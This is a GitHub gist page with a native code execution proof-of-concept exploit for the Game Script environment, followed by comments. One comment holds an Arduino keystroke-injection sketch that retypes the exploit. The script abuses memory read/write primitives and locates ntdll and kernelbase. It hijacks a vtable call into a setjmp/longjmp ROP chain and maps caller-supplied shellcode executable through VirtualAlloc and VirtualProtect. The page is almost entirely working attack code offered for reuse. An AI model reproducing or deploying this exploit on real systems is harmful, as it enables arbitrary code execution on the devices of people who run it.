Skip to content

Instantly share code, notes, and snippets.

@carrot-c4k3
Last active July 17, 2024 01:57
Show Gist options
  • Save carrot-c4k3/10fdb4f3d11ca568f5452bbaefdc20dd to your computer and use it in GitHub Desktop.
Save carrot-c4k3/10fdb4f3d11ca568f5452bbaefdc20dd to your computer and use it in GitHub Desktop.
Game Script native code execution PoC
// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]
// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}
fn hex_to_num(s) {
var str_len = len(s)
var res = 0
for (var i = 0; i < str_len; i++)
{
res = res << 4
res = res + c2i_map[s[i]]
}
return res
}
fn num_to_hex(num, byte_count) {
if (byte_count > 8) {
byte_count = 8
}
var res = ""
for (var i = 0; i < byte_count * 2; i++) {
var idx = (num >> (4 * i)) & 15
res = i2c_map[idx] + res
}
return res
}
fn num_to_hex8(num) {
return num_to_hex(num, 1)
}
fn num_to_hex16(num) {
return num_to_hex(num, 2)
}
fn num_to_hex32(num) {
return num_to_hex(num, 4)
}
fn num_to_hex64(num) {
return num_to_hex(num, 8)
}
fn hex_dump(addr, count) {
for (var i = 0; i < count; i++) {
if (i > 0 && (i % 16) == 0) {
printConsole("\n")
}
var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)
printConsole(num_to_hex8(cur_byte) + " ")
}
}
fn array_fill(arr) {
var arr_len = len(arr)
for (var i = 0; i < arr_len; i++) {
arr[i] = 0x41
}
}
fn round_down(val, bound) {
return floor(val - (val % bound))
}
fn array_compare(a1, a2) {
if (len(a1) != len(a2)) {
return false
}
var arr_len = len(a1)
for (var i = 0; i < arr_len; i++) {
if (a1[i] != a2[i]) {
return false
}
}
return true
}
// shorthand helpers for memory access
fn write8(addr, val) {
pointerSetUnsignedInteger8Bit(0, addr, val)
}
fn read8(addr) {
return pointerGetUnsignedInteger8Bit(0, addr)
}
fn write16(addr, val) {
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
}
fn read16(addr) {
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
}
fn write32(addr, val) {
pointerSetAtOffsetUnsignedInteger(0, addr, val)
}
fn read32(addr) {
return pointerGetAtOffsetUnsignedInteger(0, addr)
}
fn write64(addr, val) {
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
}
fn read64(addr) {
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
}
fn read_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
buf[i] = read8(addr + i)
}
}
fn write_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
write8(addr+i, buf[i])
}
}
fn find_bytes(addr, max_len, pattern, buf) {
for (var i = 0; i < max_len; i++) {
read_buf(addr + i, buf)
if (array_compare(pattern, buf)) {
return addr + i
}
}
return 0
}
fn find64(addr, max_len, v) {
var offset = 0
while (1) {
var temp_val = read64(addr+offset)
if (temp_val == v) {
return addr+offset
}
offset += 8
}
return 0
}
// shorthand funcs
fn ptr_to_num(p) {
return numberFromRaw64BitUnsignedInteger(p)
}
var gs_base = 0
var ntdll_base = 0
var kernelbase_base = 0
var longjmp_ptr = 0
var setjmp_ptr = 0
var gadget_ptr = 0
fn call_native(func_ptr, rcx, rdx, r8, r9) {
// allocate our objects
var obj_ptr = globalArrayNew8Bit("call", 0x100)
var objp = ptr_to_num(obj_ptr)
var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
var vtp = ptr_to_num(vt_ptr)
var stack_size = 0x4000
var stack_ptr = globalArrayNew8Bit("stack", stack_size)
var stackp = ptr_to_num(stack_ptr)
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
var jcp = ptr_to_num(jmpctx_ptr)
// set up vtable pointers
write64(vtp+8, setjmp_ptr)
write64(objp, vtp)
// trigger vtable call
slBus_destroy(obj_ptr)
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)
// set up our rop chain
write64(stackp+stack_size-0xA0, rdx)
write64(stackp+stack_size-0x98, rcx)
write64(stackp+stack_size-0x90, r8)
write64(stackp+stack_size-0x88, r9)
write64(stackp+stack_size-0x80, 0)
write64(stackp+stack_size-0x78, 0)
write64(stackp+stack_size-0x70, func_ptr)
write64(stackp+stack_size-0x68, gs_base+0x1F13A)
write64(stackp+stack_size-0x38, 0x15151515)
write64(stackp+stack_size-0x30, gs_base+0x109C4A)
write64(stackp+stack_size-0x28, jcp)
write64(stackp+stack_size-0x20, longjmp_ptr);
// set up the vtable and setjmp context
write64(vtp+8, longjmp_ptr)
write64(objp, vtp)
write64(objp+0x10, stackp+stack_size-0xA0)
write64(objp+0x50, gadget_ptr)
// trigger vtable call
slBus_destroy(obj_ptr)
var ret_val = read64(stackp+stack_size-0x68)
// clean up our objects
globalArrayDelete("call")
globalArrayDelete("vtable")
globalArrayDelete("stack")
globalArrayDelete("jctx")
return ret_val
}
fn find_module_base(addr) {
var search_addr = round_down(addr, 0x10000)
while (1) {
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(search_addr, magic_read)
if (array_compare(magic_static, magic_read)) {
return search_addr
}
search_addr -= 0x10000
}
return 0
}
fn get_dll_exports(base_addr) {
var res = {}
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(base_addr, magic_read)
if (!array_compare(magic_static, magic_read)) {
printConsole("Magic is invalid!\n")
return res
}
var e_lfanew = read32(base_addr+0x3c)
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)
var num_funcs = read32(exports_addr+0x14)
var num_names = read32(exports_addr+0x18)
var funcs_addr = base_addr + read32(exports_addr+0x1c)
var names_addr = base_addr + read32(exports_addr+0x20)
var ords_addr = base_addr + read32(exports_addr+0x24)
for (var i = 0; i < num_names; i++) {
var name_addr = base_addr + read32(names_addr + (4 * i))
var name_str = pointerGetSubstring(0, name_addr, 0x20)
var ordinal = read16(ords_addr + (2 * i))
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
res[name_str] = func_addr
}
return res
}
var VirtualAlloc_ptr = 0
var VirtualProtect_ptr = 0
fn map_code(code) {
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
write_buf(code_addr, code)
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
var oldpp = ptr_to_num(oldp_ptr)
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
return code_addr
}
// create and dump our object to the terminal
var slbus_ptr = slBus_create()
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)
// get the base of the GameScript module via the vtable
gs_base = read64(slp) - 0x16faf8
// find base addresses of ntdll and kernelbase
ntdll_base = find_module_base(read64(gs_base + 0x125398))
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))
// find longjmp and setjmp for call_native
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)
// find one of our gadgets in ntdll
var gadget_bytes = [0x5A,0x59,0x41,0x58,0x41,0x59,0x41,0x5A,0x41,0x5B,0xC3]
tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0]
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)
// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
// map our shellcode
var shellcode_addr = map_code(shellcode)
var shellcode_ret = call_native(shellcode_addr, 0, 0, 0, 0)
printConsole("Shellcode return value: " + num_to_hex64(shellcode_ret) + "\n")
@3UR
Copy link

3UR commented Jun 12, 2024

xex loader yet? or anything actually fun we can do

@Murderhead
Copy link

xex loader yet? or anything actually fun we can do

No, nothing it's just a PoC right now.

@Murderhead
Copy link

@CADIndie
I've converted the updatet script for Arduino.

#include <HID-Project.h>
#include <HID-Settings.h>

// Utility function
void typeKey(int key){
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

void setup()
{
  // Start Keyboard and Mouse
  AbsoluteMouse.begin();
  Keyboard.begin();

  // Start Payload
  delay(3000);

  Keyboard.print("// Quack Quack");

  typeKey(KEY_ENTER);

  Keyboard.print("// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)");

  typeKey(KEY_ENTER);

  Keyboard.print("//");

  typeKey(KEY_ENTER);

  Keyboard.print("// sample shellcode: mov rax, 0x1337; ret;");

  typeKey(KEY_ENTER);

  Keyboard.print("// drop your own shellcode inplace here");

  typeKey(KEY_ENTER);

  Keyboard.print("let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]");

  typeKey(KEY_ENTER);

  Keyboard.print("// hex printing helper functions");

  typeKey(KEY_ENTER);

  Keyboard.print("let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']");

  typeKey(KEY_ENTER);

  Keyboard.print("let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn hex_to_num(s) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var str_len = len(s)");

  typeKey(KEY_ENTER);

  Keyboard.print("var res = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < str_len; i++)");

  typeKey(KEY_ENTER);

  Keyboard.print("{");

  typeKey(KEY_ENTER);

  Keyboard.print("res = res << 4");

  typeKey(KEY_ENTER);

  Keyboard.print("res = res + c2i_map[s[i]]");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("return res");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn num_to_hex(num, byte_count) {");

  typeKey(KEY_ENTER);

  Keyboard.print("if (byte_count > 8) {");

  typeKey(KEY_ENTER);

  Keyboard.print("byte_count = 8");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("var res = \"\"");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < byte_count * 2; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var idx = (num >> (4 * i)) & 15");

  typeKey(KEY_ENTER);

  Keyboard.print("res = i2c_map[idx] + res");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("return res");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn num_to_hex8(num) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return num_to_hex(num, 1)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn num_to_hex16(num) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return num_to_hex(num, 2)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn num_to_hex32(num) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return num_to_hex(num, 4)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn num_to_hex64(num) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return num_to_hex(num, 8)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn hex_dump(addr, count) {");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < count; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("if (i > 0 && (i % 16) == 0) {");

  typeKey(KEY_ENTER);

  Keyboard.print("printConsole(\"\\n\")");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)");

  typeKey(KEY_ENTER);

  Keyboard.print("printConsole(num_to_hex8(cur_byte) + \" \")");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn array_fill(arr) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var arr_len = len(arr)");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < arr_len; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("arr[i] = 0x41");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn round_down(val, bound) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return floor(val - (val % bound))");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn array_compare(a1, a2) {");

  typeKey(KEY_ENTER);

  Keyboard.print("if (len(a1) != len(a2)) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return false");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("var arr_len = len(a1)");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < arr_len; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("if (a1[i] != a2[i]) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return false");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("return true");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("// shorthand helpers for memory access");

  typeKey(KEY_ENTER);

  Keyboard.print("fn write8(addr, val) {");

  typeKey(KEY_ENTER);

  Keyboard.print("pointerSetUnsignedInteger8Bit(0, addr, val)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn read8(addr) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return pointerGetUnsignedInteger8Bit(0, addr)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn write16(addr, val) {");

  typeKey(KEY_ENTER);

  Keyboard.print("pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn read16(addr) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn write32(addr, val) {");

  typeKey(KEY_ENTER);

  Keyboard.print("pointerSetAtOffsetUnsignedInteger(0, addr, val)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn read32(addr) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return pointerGetAtOffsetUnsignedInteger(0, addr)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn write64(addr, val) {");

  typeKey(KEY_ENTER);

  Keyboard.print("pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn read64(addr) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn read_buf(addr, buf) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var buf_len = len(buf)");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < buf_len; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("buf[i] = read8(addr + i)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn write_buf(addr, buf) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var buf_len = len(buf)");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < buf_len; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("write8(addr+i, buf[i])");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn find_bytes(addr, max_len, pattern, buf) {");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < max_len; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("read_buf(addr + i, buf)");

  typeKey(KEY_ENTER);

  Keyboard.print("if (array_compare(pattern, buf)) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return addr + i");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("return 0");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn find64(addr, max_len, v) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var offset = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("while (1) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var temp_val = read64(addr+offset)");

  typeKey(KEY_ENTER);

  Keyboard.print("if (temp_val == v) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return addr+offset");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("offset += 8");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("return 0");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("// shorthand funcs");

  typeKey(KEY_ENTER);

  Keyboard.print("fn ptr_to_num(p) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return numberFromRaw64BitUnsignedInteger(p)");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("var gs_base = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("var ntdll_base = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("var kernelbase_base = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("var longjmp_ptr = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("var setjmp_ptr = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("var gadget_ptr = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("fn call_native(func_ptr, rcx, rdx, r8, r9) {");

  typeKey(KEY_ENTER);

  Keyboard.print("// allocate our objects");

  typeKey(KEY_ENTER);

  Keyboard.print("var obj_ptr = globalArrayNew8Bit(\"call\", 0x100)");

  typeKey(KEY_ENTER);

  Keyboard.print("var objp = ptr_to_num(obj_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("var vt_ptr = globalArrayNew8Bit(\"vtable\", 0x18)");

  typeKey(KEY_ENTER);

  Keyboard.print("var vtp = ptr_to_num(vt_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("var stack_size = 0x4000");

  typeKey(KEY_ENTER);

  Keyboard.print("var stack_ptr = globalArrayNew8Bit(\"stack\", stack_size)");

  typeKey(KEY_ENTER);

  Keyboard.print("var stackp = ptr_to_num(stack_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("var jmpctx_ptr = globalArrayNew8Bit(\"jctx\", 0x100)");

  typeKey(KEY_ENTER);

  Keyboard.print("var jcp = ptr_to_num(jmpctx_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("// set up vtable pointers");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(vtp+8, setjmp_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(objp, vtp)");

  typeKey(KEY_ENTER);

  Keyboard.print("// trigger vtable call");

  typeKey(KEY_ENTER);

  Keyboard.print("slBus_destroy(obj_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)");

  typeKey(KEY_ENTER);

  Keyboard.print("// set up our rop chain");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0xA0, rdx)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x98, rcx)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x90, r8)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x88, r9)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x80, 0)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x78, 0)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x70, func_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x68, gs_base+0x1F13A)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x38, 0x15151515)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x30, gs_base+0x109C4A)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x28, jcp)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(stackp+stack_size-0x20, longjmp_ptr);");

  typeKey(KEY_ENTER);

  Keyboard.print("// set up the vtable and setjmp context");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(vtp+8, longjmp_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(objp, vtp)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(objp+0x10, stackp+stack_size-0xA0)");

  typeKey(KEY_ENTER);

  Keyboard.print("write64(objp+0x50, gadget_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("// trigger vtable call");

  typeKey(KEY_ENTER);

  Keyboard.print("slBus_destroy(obj_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("var ret_val = read64(stackp+stack_size-0x68)");

  typeKey(KEY_ENTER);

  Keyboard.print("// clean up our objects");

  typeKey(KEY_ENTER);

  Keyboard.print("globalArrayDelete(\"call\")");

  typeKey(KEY_ENTER);

  Keyboard.print("globalArrayDelete(\"vtable\")");

  typeKey(KEY_ENTER);

  Keyboard.print("globalArrayDelete(\"stack\")");

  typeKey(KEY_ENTER);

  Keyboard.print("globalArrayDelete(\"jctx\")");

  typeKey(KEY_ENTER);

  Keyboard.print("return ret_val");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn find_module_base(addr) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var search_addr = round_down(addr, 0x10000)");

  typeKey(KEY_ENTER);

  Keyboard.print("while (1) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var magic_static = [0x4D, 0x5A]");

  typeKey(KEY_ENTER);

  Keyboard.print("var magic_read = [0, 0]");

  typeKey(KEY_ENTER);

  Keyboard.print("read_buf(search_addr, magic_read)");

  typeKey(KEY_ENTER);

  Keyboard.print("if (array_compare(magic_static, magic_read)) {");

  typeKey(KEY_ENTER);

  Keyboard.print("return search_addr");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("search_addr -= 0x10000");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("return 0");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("fn get_dll_exports(base_addr) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var res = {}");

  typeKey(KEY_ENTER);

  Keyboard.print("var magic_static = [0x4D, 0x5A]");

  typeKey(KEY_ENTER);

  Keyboard.print("var magic_read = [0, 0]");

  typeKey(KEY_ENTER);

  Keyboard.print("read_buf(base_addr, magic_read)");

  typeKey(KEY_ENTER);

  Keyboard.print("if (!array_compare(magic_static, magic_read)) {");

  typeKey(KEY_ENTER);

  Keyboard.print("printConsole(\"Magic is invalid!\\n\")");

  typeKey(KEY_ENTER);

  Keyboard.print("return res");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("var e_lfanew = read32(base_addr+0x3c)");

  typeKey(KEY_ENTER);

  Keyboard.print("var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)");

  typeKey(KEY_ENTER);

  Keyboard.print("var num_funcs = read32(exports_addr+0x14)");

  typeKey(KEY_ENTER);

  Keyboard.print("var num_names = read32(exports_addr+0x18)");

  typeKey(KEY_ENTER);

  Keyboard.print("var funcs_addr = base_addr + read32(exports_addr+0x1c)");

  typeKey(KEY_ENTER);

  Keyboard.print("var names_addr = base_addr + read32(exports_addr+0x20)");

  typeKey(KEY_ENTER);

  Keyboard.print("var ords_addr = base_addr + read32(exports_addr+0x24)");

  typeKey(KEY_ENTER);

  Keyboard.print("for (var i = 0; i < num_names; i++) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var name_addr = base_addr + read32(names_addr + (4 * i))");

  typeKey(KEY_ENTER);

  Keyboard.print("var name_str = pointerGetSubstring(0, name_addr, 0x20)");

  typeKey(KEY_ENTER);

  Keyboard.print("var ordinal = read16(ords_addr + (2 * i))");

  typeKey(KEY_ENTER);

  Keyboard.print("var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))");

  typeKey(KEY_ENTER);

  Keyboard.print("res[name_str] = func_addr");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("return res");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("var VirtualAlloc_ptr = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("var VirtualProtect_ptr = 0");

  typeKey(KEY_ENTER);

  Keyboard.print("fn map_code(code) {");

  typeKey(KEY_ENTER);

  Keyboard.print("var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)");

  typeKey(KEY_ENTER);

  Keyboard.print("write_buf(code_addr, code)");

  typeKey(KEY_ENTER);

  Keyboard.print("var oldp_ptr = globalArrayNew8Bit(\"oldp\", 0x100)");

  typeKey(KEY_ENTER);

  Keyboard.print("var oldpp = ptr_to_num(oldp_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)");

  typeKey(KEY_ENTER);

  Keyboard.print("return code_addr");

  typeKey(KEY_ENTER);

  Keyboard.print("}");

  typeKey(KEY_ENTER);

  Keyboard.print("// create and dump our object to the terminal");

  typeKey(KEY_ENTER);

  Keyboard.print("var slbus_ptr = slBus_create()");

  typeKey(KEY_ENTER);

  Keyboard.print("var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)");

  typeKey(KEY_ENTER);

  Keyboard.print("// get the base of the GameScript module via the vtable");

  typeKey(KEY_ENTER);

  Keyboard.print("gs_base = read64(slp) - 0x16faf8");

  typeKey(KEY_ENTER);

  Keyboard.print("// find base addresses of ntdll and kernelbase");

  typeKey(KEY_ENTER);

  Keyboard.print("ntdll_base = find_module_base(read64(gs_base + 0x125398))");

  typeKey(KEY_ENTER);

  Keyboard.print("kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))");

  typeKey(KEY_ENTER);

  Keyboard.print("// find longjmp and setjmp for call_native");

  typeKey(KEY_ENTER);

  Keyboard.print("var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]");

  typeKey(KEY_ENTER);

  Keyboard.print("var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]");

  typeKey(KEY_ENTER);

  Keyboard.print("var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]");

  typeKey(KEY_ENTER);

  Keyboard.print("setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)");

  typeKey(KEY_ENTER);

  Keyboard.print("longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)");

  typeKey(KEY_ENTER);

  Keyboard.print("// find one of our gadgets in ntdll");

  typeKey(KEY_ENTER);

  Keyboard.print("var gadget_bytes = [0x5A,0x59,0x41,0x58,0x41,0x59,0x41,0x5A,0x41,0x5B,0xC3]");

  typeKey(KEY_ENTER);

